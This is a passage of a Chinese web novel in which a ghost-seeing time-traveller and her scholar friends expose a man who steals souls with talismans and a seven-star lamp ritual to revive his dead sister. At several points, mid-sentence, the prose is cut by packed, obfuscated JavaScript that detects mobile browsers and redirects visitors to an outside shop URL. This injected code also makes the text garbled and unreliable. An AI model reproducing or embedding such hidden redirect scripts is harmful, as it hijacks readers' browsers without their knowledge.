一进门众人便感到阴冷气息铺面,有人更是直接以背示人,像是在回避什么。 “如何?”桓错回头问。 “有鬼……之前还没有的。”祝弥低着头。 她视野中,很庞大一坨黑气浮空于上方。 庾彦庭解释,正如因果相生,鬼魂不会无缘无故地产生。生人的思念和亡者的执念相互缠绕形成连结,这便是鬼魂的脐带。除了祝弥这种少见能见鬼的,其余人只要不惹上什么纠葛,这辈子都不会理解鬼魂说。 于是他把她转过身来:“所以它害不到你头上的。快指指源头在哪。” 祝弥眼前一片流动的黑雾,朝上指了一下最浓郁的中心之处。而别人眼中看清那道横梁,上面似乎有什么东西。 “我知道了,” 庾彦庭踩在书桌上跳看一眼,皱眉:“是招阴役鬼符。” 上面是一道黄符,一只笔透过符咒倒插在梁中。紫毫长锋,笔杆盈润有光。 桓错抬头:“那笔好眼熟……不是洵乐的吗?” 庾彦庭在桌子上叠起椅子,说:“此符分为两联,上联招阴,下联役鬼。我看这道横梁就是当年吊死怀真的地方……是谁这么有求于鬼……” 招阴符在凶魂的命丧之处,役鬼符在王季林的肚子里。布符人在某处发动夺魂咒,连结便生成了。 正说着,他就要拔下那只笔。 “彦庭,不要!”祝弥忽然大喊。 话音未落,众人身后扑通一声,进了藏经阁就未言一语的人轰然倒塌。 “洵乐被缠成木乃伊了!”祝弥挡到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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祝弥一抬眼看见讲台上的人,不由一惊,竟是自己祖父。气健神朗,比现在年轻约个二十岁。 很快书童学子分开,一个往朝堂,一个去市井。 祝弥跟着书童走,眼见着他背影穿梭于酒楼茶肆、渔家码头、春耕农忙、荒郊野岭,身上的衣服也越来越褴褛,忽然之间,明朗的景色不再,乌云压低,硝烟四起,黄土地里出现了残垣白骨。 书童弯腰捡起半段折戟,开始奔跑,趟过长江水,匍匐在山顶,最后冲进大帐,再出来的时候书童穿上了甲胄,变成了将军的威风凛凛模样。 再后来,盔甲上的血越来越多,折戟只剩寸短,将军继续往前走,不知何时,他一手短刃,一手玉笔,背影颓落,行至钱唐书院。 天上又下起了雪。 她来到藏经阁里,将军和山长于一片狼藉中,似从前辩经,最后短刃刺入山长胸口,将军悬起白绫,踢掉凳子,手中的笔掉落,滚落几圈,物归原主。 浓烟四起,有火从典籍中升起。燎燎火势,攀上柱梁,斗塌顶陷,最终却是白茫茫的大雪弥漫了视线。 “父亲——!” 一阵马蹄声急急赶来,一声凄厉呼嚎划空入耳。 一切归于寂静。 祝弥闭上了眼睛,沉气张口:“怀真,你有何求?” 空谷回响凝聚成人声,清晰入耳:“怀真所求之事生前已尽力,无求。门阀杀晋*,非杀我也。” 祝弥冷笑一声:“那季林之死是为何?” “只恨没屠尽门阀,没焚尽经典。留得这种药溺蠢材也配当什么先生,简直世风日下,哈哈!” “那又为何杀静源?他救你性命、开你心智,再生之恩,莫大于此乎?” 祝弥见过学子笔下的留款:王静源。那便是怀真的主人,王洵乐之父。 “天将崩坏,社稷败乱,民不聊生,个人恩事小。他殉忠,我殉志。立场不同,不觉有事,无甚悔矣。” “如此豁达开阔,又为何弥留人间久久不去?” 声音沉吟几番,说:“非我意也,黄毛小儿不放我。” 祝弥赫然回头,看见怀真的鬼魂黑气缠绕着躺在地上的王洵乐,黑气袅袅千丝万缕竟是从他身上而起! “什么,洵乐身上的鬼魂竟是你……不该是他父亲么……” “哈哈哈哈,静源自在清闲,甩手也潇洒,我还是品不得门阀世家的林下风骨,一辈子的操心命。” 贪嗔爱恨。执念在活人身上,死去的鬼魂竟是被选择的那个。 那个雪天,王洵乐晚了一步,看见父亲惨死,恨比恸强烈,上身的鬼竟是怀真吗? 祝弥低头:“……需要我转交什么话给洵乐吗?” 空荡一声震耳笑:“其父无言,我有何言!庸人自扰便自扰,快放我走罢!” 祝弥:“……” 须臾,一切归于平静,她不知如何离开境界,心下陡然大恸。这个时代果然还是不属于她,他们多的是舍生而取义的东西。而祝弥认为生命至上,她最怕死。 平息许久,回头,王洵乐不知何时已端坐在后方,低着头一脸阴郁。 7. 邪符箓偷魂换生 汹涌的黑气渐渐平息。 最后是王洵乐自己站起来,毁了那招阴役鬼符,看那只玉笔良久,“自扰便自扰。” 揣在袖里,带头走了。 不明白发生了什么的庾彦庭着急左问右问,“问出来什么没有,背后是谁的手笔?” 扶乩出来的两人脸色都不对,都没回话。 庾彦庭只好跟着王洵乐。 祝弥让他们先走,自己则往东斋走。忽然背后有脚步,回头:“?” 桓错一脸理所应当:“我不跟着你你一会走着去王家?” “你根本是怕我回宿舍睡大觉吧。” 祝弥没回兰舍,而是去了先前安排给自己的那间,没点灯,房内无人,便扒着窗户往里看。 “要破锁吗?”桓错对着门,比着自己的匕首。 “破。” 是梁川生的宿舍。 一直就觉得那人很奇怪。祝弥手握剧本,知道自己要躲着什么,难道他也有剧本知道自己的人生女主角是谁吗? 她不信。 在他的桌子上乱翻一通,没什么奇怪的物件,床铺上也抖抖枕头和被褥,依旧没可疑的。 桓错倚在门边旁观,不发一语。 祝弥问:“你认识梁川生吗?” “不认识。” 祝弥直起腰来,又去桌子上细翻看字,还说着风凉话:“也是,和你有姻亲的祝家都不放在眼里。一个原本住西斋的怎么会入得了桓公子的眼。” 从藏经阁出来,祝弥情绪就不大对劲。 桓错看得见那份情绪,不和她争辩,承认得十分坦然:“话是如此没错。” 祝弥流露出此君已无可救药的神情。 他又不动声色转移话题,“这个梁生有什么问题?可知是哪里人?” “只知是会稽山阴人。”祝弥摇摇头。 桓错也拿起纸张文书看,很快注意到一张叠起来的黄纸,抖到祝弥面前。 文字抬头是“山阴县”。 但祝弥不解,山阴县不是很大吗,往下还有乡、里、邻。 “官府榜文,你对这种事一点敏感程度都没有的吗?” 他点了点上面的文字,写着若水江的汛期季前修堤的招役令。 祝弥才注意到自己手上也有一张差不多的黄纸,上面是山阴县的一则小字轶事。几行字粗略扫过去,大概是江北某处树林有人自缢,警示劝戒村民,最后几个字祝弥看得清清楚楚:“身死为大不孝,毋使复有其事。” 桓错也看见了,“没有人无故存着他乡的榜文。若水江,那一整片都是琅琊王家的食邑。” 说到这,二人对视一眼。 祝弥又回了兰舍,书袋里抽出一本书潦草翻看。 天色渐暗,桓错点了灯,看清了那本书:“《五行一天师经咒》?” “这是梁川生那天莫名其妙给我的,你看看有没有什么奇怪的地方。” 他贴得更近,忽然祝弥“啧”一声,书本掉到地上。 桓错弯腰捡起:“?” 祝弥甩甩手:“你拿烛火烧我?” 桓错:讹我? 祝弥也觉得不对,复又接过书,一切如常,刚刚如针尖般锐利的灼烫感像是幻觉。凑到灯下细看,握住书本的指尖又突然被烫。 灼烫感和烛火有关。 桓错见状,把二人手里的东西交换。她举灯,他翻书,两件物品放得极近。 书上的文字无非是一些清心口诀:天地玄宗,万炁本根之类的。 这本确实是字最少的,两三百字,她当时抄得很舒心。 翻到某页,祝弥出声,“停!” 一时情急,手和灯一起按到书页上,这回是切切实实的被烫,“啊——” 桓错一阵心惊,因为火点燃了纸的瞬间,他也看见了。 * 二人急匆匆上马去王家。 祝弥一路无话,细细复盘穿越至今的事情来。 她突然觉得自己像邋遢大王,带着什么使命,不小心掉进了老鼠王国。首先肯定不是她有什么卫生问题亟待改变,因为来到这里短短几天,问题比较大的明显是这个时代。 因为这里的人都需要心理医生。 小满打工狂人什么活没做过,急活是时薪最高的。想当初在餐厅后厨,老板和大厨吵架,她硬着头皮也颠过两天锅。那两天也没见有多夸张的投诉率,无非就是抱怨蛋有蛋壳、腊肉太咸和臭脸服务员,都和她无关不大啊。 既然是急活,那她这个无证上岗的心理医生才不会做任何售后,糊弄完工作就跑。 “你真的没事吗?”前面的人突然问。 祝弥:“嗯?” “因为突然腰上的手变松了,”他顿了顿,解释,“在马上睡着会摔死的。” “……快走吧,赶时间。” 祝弥其实是在摸身侧的书袋,装了那本烧了一半的天师经咒书。 刚刚其中一页一靠近火,还没接触就自动烧了起来。火光中显现出一个符咒的走笔,就像隐形墨水显形了似的。 她不敢细想自己被梁川生盯上的原因是什么,王季林其实只是排在自己前面先死的一个而已。 下一个,就会是她。 两人到了王家。王洵乐和庾彦庭都在桓幼和的房间,一个在榻上闭眼,一个在椅上颓废。最后一个在房间内焦急转圈,一见他们两个进来,迎上前: “哎梦成,你快来看看幼和,他的脸有没有被鬼缠住啊黑不黑呢?原先呆是呆,还在吃着饭就忽然晕倒了,一动不能动了。这到底是怎么回事啊!” 桓祝二人不理他,径直对上那个椅子上的人。书砸到王洵乐的怀里,桓错说:“洵乐,查查若水江附近的一个姓梁的人。” 另一头,祝弥从桓幼和的书桌上翻出一沓纸,数钱似地飞速检查,最终抽出一张,捏着举到众人面前。 ——梁川生,忍冬书院。 祝弥解释:“这是兰亭集那天桓幼和收到的名帖。” 王洵乐稍稍回神:“梁川生,我不记得他有在兰亭……” 祝弥另一手拿着烛台,靠近梁川生这几个字,“他不在兰亭上,但是他在兰亭之前遇见了桓幼和。笑面书生谦卑地递上拜帖,桓幼和随手接下就放在身上,不会多想。——看!” 只见烛火无限接近那张名帖之际,率先着火的部分居然显现成一道紧凑在小小四方纸上的符咒。 “符咒还能这样画!?”庾彦庭眼睛睁大,火光闪耀一瞬,他看清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064795|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了那烧起来的符咒,“也是招阴役鬼符,我的娘啊——” 王洵乐振作起来,很快从书房里找到梁川生的家乡住址,山阴县若水江南乡第三里。 从桓幼和出事至今已经七天,庾彦庭深感不妙。几人决定趁夜去山阴若水江。祝弥只觉得骑马屁股骑得自己也屁股痛,痛感传到太阳穴,头也痛,叹口气,咬咬牙继续坚持。 算上祝弥,这已经是梁川生偷魂的三个受害者了。桓幼和少了个魄已经是痴呆不似正常人,王季林更是直接被凶魂吸干惨死。 那还有没有受害者? 骑着马夜风很大,庾彦庭重复:“你问偷生人之魂有何用?哼,要么是想多活几年,要么就是求死魂返生呗,顺便还能害害看着不爽的人。” 师父和他说过,万物灵魂,自然变化。坤上乾下,则否极泰来,盛衰枯荣,生生之谓易。 一处魂生,那必有另一处魂死。妄图扭转因果规律,暂停事物变化,都是邪道。一旦人想借符咒阵法操控灵消魂涨的规律,成功不成功没见过,但不用想也知道起阵念咒之人定有反噬。 祝弥听完说了四个字:“等价交换。” 总量不变,一切等价交换,这是她看动画片看的。 庾彦庭一愣:“没听过这种说法。师父只说五行相生相克,阴阳轮回调和,强调一个‘变化’,而不是易物。” 祝弥:“我的意思是,天上不会掉下馅饼。赌桌上博弈,想赢得先做好输的准备,敢用邪阵谋魂,也就要有被阵法反噬的觉悟。梁川生的决心很大,恐怕要不死不休了。” 原本梁川生只是在不同人的身上悄无声息地偷一个魂魄。人有什么异样,医师来看了也只当是急病,只用药,治好治不好另说。而王季林出言不逊激起怀真之恨,凶魂下手太重,才让梁川生的行迹暴露。不然他也不会这么大胆就在自己名帖上做手脚。 二人聊完,另外两人开始说话。 桓错对着一直在最前的人说:“洵乐,季林的事不怪你的。” 王洵乐:“……抱歉,我,脑子很乱。” 王季林出事的时候他就隐隐心口抽痛,听见一向不信鬼神的桓错和他说祝梦成见鬼还能扶乩,便希冀自己或许也能见父亲一面。 谁能想到是怀真。 竟是怀真! ……什么叫庸人自扰。那贼寇有什么资格置喙,可笑。 不想要心结得解,不必放下一切也能向前看,他只烦忧,今早起来,忽然觉得父亲容貌模糊。 王洵乐又说:“是太黑了吗,我、实在看不清前路了。” 只见他一边说话一边勒马,停下用袖袍拂脸。 几人一惊,连忙跟着停下,让王洵乐和庾彦庭同骑。留下的马自行寻路回家。 祝弥在藏经阁里看见了静源和怀真的前半生,看见了王洵乐捧着残损的尸身,雪踏素足是何等凄惨景象。她觉得该安慰他,沉吟几下,“洵乐,怀真杀季林,那是梁川生在背后操控的。无论是好事坏事,做事的都是活人,鬼魂没有活人做依凭做不到任何事情。你父亲王静源死后正是因为心静无所求、无牵挂,才没有被你招魂,你也该放下,执念伤神勿要——” 话说到一半,说话的人骤然失语,失控一般地从马上倒了。 8. 邪符箓偷魂换生 祝弥说话说到一半,两眼一黑,摔倒的痛感没有传来。 再睁眼的时候,自己竟站在一片风吹黑影晃动的树林里。 回望四周,不远处有一座点灯的木屋,寒风吹来,她觉得自己该走进去避避风。 推门而入,里面果然温暖。 “梦成来了,坐吧。” 有人唤她,她便找了位置坐下,有很多人陪伴,很安心。 * 面对祝弥,桓错找回了一点最初接手养鹅的心路历程。 母亲一场急病,撒手人寰,丢下他,还有一对从洛阳就跟着她的大白鹅。 名义和感情上,两只鹅算他的兄长阿姐也不为过。 因为鹅和他一样在母亲去世时,难过出了情同手足的深度:会流泪,会精神恹恹,会卧床不起,最后生病,快熬不过去。于是他打起精神来治鹅,不惜把鹅舍搬进自己的房间时刻盯着,还寻遍人医兽医,试遍良方,修复好了鹅,好像也把他自己修复好了。 祝弥就是如此,这人一出现,好不容易又让他看见这世上能有和母亲的一点连结,却总是岌岌可危、摇摇欲坠。 都是很脆弱的东西,好像不努力伸长手臂去够就会摔碎失去。 于是当她失控摔下马,那瞬间他想的是大不了跟着她一起摔,自己给垫垫。幸好手快抓住了,衣领一提,轻松得像拎小鸡,失去知觉的人像个柔软裘衣,对折挂在自己身前的马上。 动作在电光火石之间完成,剩下两人大惊失色,庾彦庭气急败坏扯下祝弥的书袋,在里面东翻西找,书袋里除了那本书竟也莫名翻出一沓书生名帖。从中几人看见了自己的名字,最后在最下方居然有一个“梁川生忍冬书院”,和桓幼和收到的一模一样。 桓错:“……” 庾彦庭揪着那张名帖撕了个稀碎,气得手都在抖:“这人怎么回事,到底怎么回事,不是她发现的名帖有问题吗?自己身上还带着一个?!不信邪不怕死,非要和那姓梁的一决高下不成吗?!” 王洵乐摸着祝弥的脉搏:“和幼和的情形好像,被偷魂了?” 原本以为梁川生是和王家有恩怨,害的都是王家的人,可祝弥是上虞来的,世外高人得像个无知村夫,连自己未来妹婿都不认识,别说缠上什么纠葛了。 未来妹婿…… “难道是和我有关吗……”桓错看着面前昏倒的人,不由得沉思又愧疚,“可为什么不冲着我来?” “光凭符咒也难以凭空害无辜之人,‘失魂落魄’也需要个契机。咱们的梦成兄怕是也有暗自心伤神伤之处,你就别想揽这个荣幸了。”庾彦庭上马扬鞭,呛他道:“再说谁敢让你桓大公子受气,片刻之间不得被你送走了。走,去会会这个梁生,看看到底是何方神圣——” 几人一到村口便有里正提前候命。里正不敢多言,领着三个半活人去了梁宅。 那老宅一片安详寂然,不像有异事发生。梁老夫妇颤巍巍出迎跪地,一问其子梁川生在哪,他们倒声音嘹亮,回:“忍冬书院在读。” 看样子是什么也不知道,三人顿时一筹莫展。 庾彦庭给祝弥卜的卦成了大凶,只道不妙。被偷魂之人,魂消魄散,恐怕就在今晚。 桓错正背着祝弥,村口一路走来只听见她嘴里喃喃有呓语,时而急,时而缓。往院内走两步,祝弥说话的声音变真切了一些。 三人对视一眼,庾彦庭气得啐了一声,带头往里走。走到宅子最深处,厨房,视线内却依旧一切如常,祝弥嘴里的话也听清了,“妈妈、呜呜……”几个类似的词来回念叨。 桓错忽然想起什么,对着蹲在墙角扒墙灰的庾彦庭说:“彦庭,你说偷魂可以用来做什么?” 庾彦庭两手的灰,头也没回:“不是逆天续命就是想死人返生呗。” 教科书上的经典案例。 桓错回头问梁二老:“你家最近有白事?” 那翁媪又颤抖着跪下,念着“大人明鉴,梁氏一族乃温俭良顺之辈,绝不相干旁门左道之事”,又哆哆嗦嗦指了指厨房后门,通向院外。 * 小满还是小满的时候,因为孤身一人,总是要时刻确认环境中存在令她安心的因素,就像渴水之人向往水源。 她需要的东西很具体又微小,比如冬日温暖的被窝,一顿热腾腾的火锅,日渐增加的银行卡余额……以及“妈妈”,两个字。 但这两个字像是魔咒,百试不灵、几乎成心结,因为她在不安时总会脱口而出,是她溺水时总是第一个漂至面前引诱她抓住的、看似安全的浮木。 生前,下班回家必经之路上有一个市民公园,闲暇的傍晚会有膝盖高的小屁孩绕着大人的腿转圈喊“妈妈妈妈妈妈”。缭绕之魔音,让她经过之后鬼使神差也小小喊了声妈妈。但瞬间被自己恶心到了,浑身不自在到周围五米的空气都像在嘲笑她。 偶尔几次深夜取悦自己,也试着喊妈妈,但像吃水煮蛋配硬面包,蛋是蛋包是包,不融合,没什么特别的感觉。只是心里空落落的,倒也没那么可悲,就是睡得更容易了。 现在她和人围坐一团,心安,宁静,立刻想到了“妈妈的怀抱”这一词,好像可以和它舒服地融在一起,任由五感化成浓稠的焦糖糖浆,缓慢咕嘟咕嘟冒着泡泡。 但,有不速之客打断了这一过程,听力从烂糊糖浆中被揪出来,一声很耳熟的急呼入耳。 ——“快住手,梁川生!” 砰! 门被暴力踹开,感受到冷风吹来,焦糖凝固,泡泡破裂,祝弥的视线知觉逐渐恢复。 循声望过去,进来的居然是桓错,虽然那张脸她无论什么时候对上、说习惯了心已如止水也是假话。但她第一个念头是:哎哪都有你,怪烦事的! 又忽而注意到那脸上含着莫名浓烈的情绪,急切?担忧?愤怒? 跟着进来的还有庾彦庭,王洵乐,还有在王洵乐后背上的……嗯?她自己?还闭着眼睛。 怎么有两个自己? 她终于带着疑惑和逻辑开始环视现下屋内的场景,陪着她一起坐着的人有一个女人、一个婴孩、一个男人、又一个男人,然后是桓幼和、王季林。大家神情安详闭着眼睛,围坐成一个圈,圆圈中间躺着一个女人,不知为何这女人正在随着低语念经的声音缓慢自转,像个慢悠悠的陀螺。 梁川生正从不远处的案几上起身,头发和胡茬半白。 咦,他是不是几天没睡了,怎么老了那么多? 祝弥细看两眼,躺着的女人却和坐在她旁边的女人长得一模一样。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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余光中有火舌向上燎,时不时飞过一些杂物工具,器皿碎了,屏风破了,窗也被砸豁开半扇,不用想肯定是场面越来越乱,唉,男的,烦人。 忽然有一只小手摸到了姐姐的脸上,轻轻柔柔,生怕吵醒她。 祝弥无须抬眼就能确认是谁,因为那只小手的主人下一秒就全身进入了她的视野,趴到了姐姐的肩膀和脖子之间——是那个婴孩。 很难分辨婴孩的年龄,因为鬼的边缘虚化逸散,或许婴孩原本很大,到如今也只剩一点点了,总之那是一个很小很小的初具人形的,孩子,大约西瓜大小,蹭蹭,是贴在妈妈的怀里、安心的表情。 祝弥:“……” 忽然意识到什么。 梁川生的目的是救活这个姐姐,姐姐将死未死,全凭最后一魂吊着。他到处物色,东拼西凑,集齐了两魂七魄,试图做出一个魂魄圆满、新生的人。 姐姐、婴孩和她是三魂,剩下季林和幼和等坐着一动不动全无反应的是七魄。 他们刚刚几乎都化在一起了,是桓错坏了人家的好事。 抬手,搭上姐姐和婴孩身上,立刻被一股情绪像潮湿的雨水般打湿。 偷魂换生结果如何已经不重要了,因为有新的景象正在祝弥眼前缓缓展开。 哗啦啦—— 9. 邪符箓偷魂换生 下雨了。 一直在下的雨,拍打树叶、压倒青草,稻苗也直不起腰,万物像是溺水,呼救也无声。 祝弥也忍不住屏息。 姐姐衣着朴素,一脸愁容,坐在木屋门前矮凳上,叹气不忘补针线。 然后针线放下,她去厨房,做饭,叹气;井边,浣衣,叹气。忽而她又梳起束发,换上粗糙暗淡的麻布衣服,戴上斗笠,像个瘦弱男人,和在她身后的祝弥招了招手,出门了。 祝弥回头看,门口有一对佝偻老人对着姐姐的背影颤抖着挥手。 她的父母? 跟上背影。 姐姐扮作一个男人,在一条水流湍急的江边抢修堤岸,情急水险,要好多人好多天的功夫。 鞋子和裤脚永远是湿的,深夜的姐姐缩在角落裹紧自己。有男人的手勾到她肩上,她拍掉,有男人的味道飘过来,她把鼻子埋进衣领里。 后来雨势渐小,姐姐回家了,依旧坐在木屋门前的矮凳上,纳鞋、补衣。与之前不同,她梳起了高高的发髻,穿上了鲜艳轻薄的衣裳,只是还是颦眉蹙额。 祝弥想对她说话。就在她想伸手触碰安慰的时候,有另外的手抢先了一步,搭在了姐姐的肩上。 过于突兀,以至于祝弥和姐姐的肩都瑟缩了一下。 祝弥:“……” 场景开始流转,有不同的男人飞速出现又消失。姐姐一直坐在门前矮凳上,在腿上摊开一方手帕,数着变多的银两,左边放一个右边放一个,分成大小几堆。 正数着忽然抬头。 祝弥跟着去看,门外站着被梁川生招魂的陌生男人之一。 姐姐把最大堆的钱币交给了他,男人脸色不善,甩下一封信便匆匆离去。信让她的眉头终于有一刻舒展,却没有太多喜形于色,很快去厨房忙事。 信来到那两位直不起腰的老人手上。 他们坐在堂内,笑得老脸被褶子布满,快要看不见五官。 后来,门外有脚步声,有人回来了,老人起身相迎,像两个激动的问号。 是梁川生。 姐姐脸上挂着淡淡的笑,变魔术似的,从厨房端出可口的饭菜,一次一盘,端了四次。还不够,她又走进厨房。 祝弥等了许久,没人端出第五道菜。 * 梁家后方是若水江的一条支流和一片树林。从厨房的小门走出去,不用太多时间,经过一座木桥,树林就到了。 近日雨水充沛,草本植物苦不堪言,木本植物却郁郁葱葱,树林里每一根枝桠都舒展得像美人春睡起迟的高高抻展的藕臂。 适合拿来做点什么。 正巧,有一抹素白身影吊在上面。 枝干虬劲,衬得那个身影轻飘飘像一件空衣裳。 “不要——!” 祝弥骤然想起榜文上的字,“身死为大不孝,毋使复有其事”,痛心疾首,一声长呼。 脚底一空,身体失控,坠入无边深渊。 “祝梦成!” 似乎有人想拉住她却没拉住。 扑通一声,她从溺水感中醒来。 大口喘气。 惊恐打量。 “这是哪!”她对着黑暗大喊。 黑暗立刻回应,一张蹙眉担忧的脸浮现在她视线正上方。 “啊啊啊啊啊!离我远点!!!” 那种长梦初醒的混沌情境下,人已经无力分辨一张脸的美丑和确认自我喜好,骤然出现的脸只吓得祝弥护脸尖叫,无意中还给了天菜脸一拳。 旁边有光亮起来,照出担忧的脸莫名挨了一拳,变成阴云密布。 桓错:?脸被打了?是不是得打回去? 被吵醒的庾彦庭和点灯的王洵乐:“……” “惠娘呢?!” 这回问句里带着哭音。 “什么惠娘?”庾彦庭第一个接口,“还没怪你呢,你书袋里怎么也有一张梁川生的名帖?自己暗算自己?” “惠娘、惠娘……是……姐姐。”祝弥愣愣地回答。 梦里的小木屋,打开后门,远远望见树上的身影时,梁川生是这么喊的。 她终于后知后觉,此处是书院宿舍的布局。 只不过为什么她又从地上醒来。 喘气还停不住。 “为什么我、每、次、都从地上醒来!”躺在地上的人重新崩溃似地打滚大哭,好像睡在地上是天大的委屈。 当下,四个人,两张床,平均分配,夜深匆匆和衣而眠。不料有人睡饱之后还犯病似地大吵大闹,不顾寅时万籁俱寂,其他三人只好拿出万分的耐心,纷纷出言安慰。 庾彦庭想捂住人的嘴巴但还是选择捂住自己耳朵:“哎呀你轻声点!别吵到同学们多不好。” 桓错收回抓空的手又摸摸脸:“……哼,恩将仇报。” 王洵乐对着烛火发愣:“这么说,幼和也该恢复了。” 地上打滚之人不听不理,嘴里一个劲儿嚷着“惠娘、惠娘”,几人慢慢才琢磨出这“惠娘”应该是梁川生偷魂想救的那个死而不腐的女子。 王洵乐回想起刚刚情形,分外诚实:“惠娘她……大约是死彻底了。” 听到这话,祝弥哭喊得更加凄厉。 庾彦庭白了王洵乐一眼,又拍拍祝弥的肩膀:“她不死就是你死了。” 庾彦庭当时一进那林中小木屋,看见满地的灯火和七个主灯摆列位置,当即反应过来这是七星招魂灯仪,专给人续命用的。第一次亲眼见到活尸现场,吓得他眼皮直抽。 说起来梁川生去哪弄来这么邪之又邪的手段,招魂符咒的画法、召魂幡的用法、七星灯的摆布,真要让法器法阵生出效果,各种环节谬之一厘都不可能成功。任凭是师父也对鬼神派这些役煞招魂、死人续生的禁术缄口不言,只道违背天意自然之事,避之犹恐不及。 庾彦庭以前也只当鬼神即是某种不可言说的天道因果,是冥冥之中天命指引,信徒只需匍匐跪地,等待既定之事发生之时。 可谁知世界上竟还真的有祝梦成这样有鬼视的人,能见未了之事,能偿未竟之念。好像,这人的存在是一枚后悔药。 可世界上真的有人能逆天改命吗? 至少梁川生失败了。 转头看见地上的祝弥,因经验不足,意识深受扶乩幻象牵引,致使因果缠身,正为他人执念伤神,泪流满面,胡言乱语。 没有技巧,全是感情。 “我的头发怎么一股焦味!”她发现自己披头散发,又生出新的伤心事。 “这你得怪桓灵玦,拿烛火当仇人似地,一踢就烧到旁处。”庾彦庭回,转而对上另外一人,“叫你灭灯不是叫你放火。” 桓错:“烧到经幡的那脚不是你踢的么?” “那就怪你马技那么差!把我们梦成的头发颠散了!”庾彦庭飞速改口。 桓错不着急回嘴,想起什么似的,先把玉簪塞进祝弥的手里,物归原主,然后慢慢卷起袖子回应挑衅:“走吧,我看你也别睡了,院外打一架。” 庾彦庭摇头拒绝,只道夜色太深。 祝弥不理二人,抱着玉簪和一捧头发依旧在呜呜咽咽。 众人无语,暗道:这扶乩后遗症怎么这么麻烦。 “喂喂,祝梦成,”庾彦庭凑到祝弥眼前,似笑不笑地盯着,声音异常肃穆,“别光顾着哭嚎惠娘,你就不好奇梁川生去哪了吗?” 祝弥终于慢半拍反应过来,含泪的眼睛忽然凝住,安静等他说话。 “他逃了。” 庾彦庭说,“趁我们料理现场,悄悄松了绑,一头扎进河里跑了,像条泥鳅似的。呸。” 他又说:“你可知你牵扯进了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064797|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么吗?那可是七星灯仪,孔明也用过的那个!也不知是托了你的福还是那梁生的福,我们三个真是见大世面咯!” 传说百年之前,诸葛孔明为实现伐魏大计,向天再借十二载点起了七星续命灯。在进行到第七天的时候,主灯却被魏延匆匆入帐的步风扑灭了。续命失败的孔明无奈只叹:生死有命,不可挽也。 因为七星灯仪的七主灯和四十九辅灯一旦点燃,经咒念起,只有灭和不灭两种情况,若天意有,纵使天降暴雨,灯也会连烧个七天七夜,反之灯以任何情况灭了,则是天意无,休要再提。 而梁川生的这个七星灯更邪,主灯的火是阴蓝色的,尸体上方旋转的召魂幡下,隐隐有几颗黑蓝色鬼火或明或灭,分明是炼魂返生之术! 祝弥冷静一些,低下头被头发包裹,哭答:“我们好多人抱在一起,一起变成惠娘。” 又是一轮无限循环的“呜呜呜呜呜呜”和“惠娘惠娘惠娘惠娘”哀嚎…… 三人默默捂耳朵:…… 刚刚控制住梁川生的混乱间,他们扑灭了满地的七星灯,烧了无风自转的召魂幡,最后还发现了活尸身下的招阴役鬼符,破符之后,顷刻间,在众人眼皮子底下,活尸慢慢变腐尸。 原本一个身着薄薄寝衣、似在安睡的鲜活女子慢慢变黯淡,最后变成一个不忍直视的腐败模样。 三人也着实吓到了,不敢多言,手忙脚乱东拼西凑,勉强凑出一件薄布盖住她。 梁川生就趁着大家吃惊的那个档口,逃了,纵使肩上豁了一个大口子,带出一道血迹通向了黑黢黢的江水里。 毁了一切不对劲的东西,祝弥却迟迟没有醒来。他们不敢深入追捕,商定着先回比较近的书院学舍,轮流守夜盯着,以免还有意外。现在,被突然醒来的祝弥这么一闹,几人终于松了一口气但也困意全无。 庾彦庭看着哭累了逐渐变成安静默默抹鼻涕眼泪的祝弥,眼神又不怀好意跑到某人身上:“烧到梦成的头发就算了,梁川生总是你绑的吧,他脱了绳索逃了,这你能认错了吧?” 桓错:“不是你把刀递给他的吗?” 庾彦庭:“我只是忘了捡,主要还是怪你给了他能动的机会。” 王洵乐回想起庾彦庭当时入迷似地欣赏起邪术诡道现场的样子,听不下去了:“我看有人恨不得当即拜那梁生为师——” “啊对了,说到这个。”庾彦庭再次丝滑转口,从怀里掏出两张没烧尽的书页,“这个你们见过吗?” 他当时确实是被什么东西吸引了注意力,后知后觉梁川生在趁乱借火烧毁案几上的东西,只及时在火中抢下某书的底页两张。 一张上面无字,是几个点点组成的图形。另一张只有残文首句,几行竖字写着“昔者共工”、“周之山天柱”、“星辰移焉地”。 桓错接过看了看摇摇头:“共工?鬼神派也信这种上古故事?” 王洵乐念了两遍,倒是觉得后面的文字耳熟,应该是在哪看过。 庾彦庭:“说实话,这些东西我师父都不一定全知晓。这个梁生,来头不简单。” 祝弥慢慢恢复了过来,提起一捧散发着焦香味的头发呆呆插嘴,问众人,“……这该怎么办?” 古人头发短了一撮该怎么办?她怕自己胡乱操作,冒犯忌讳。 桓错拿出刀,接过发尾,不以为意,“削平即可。” 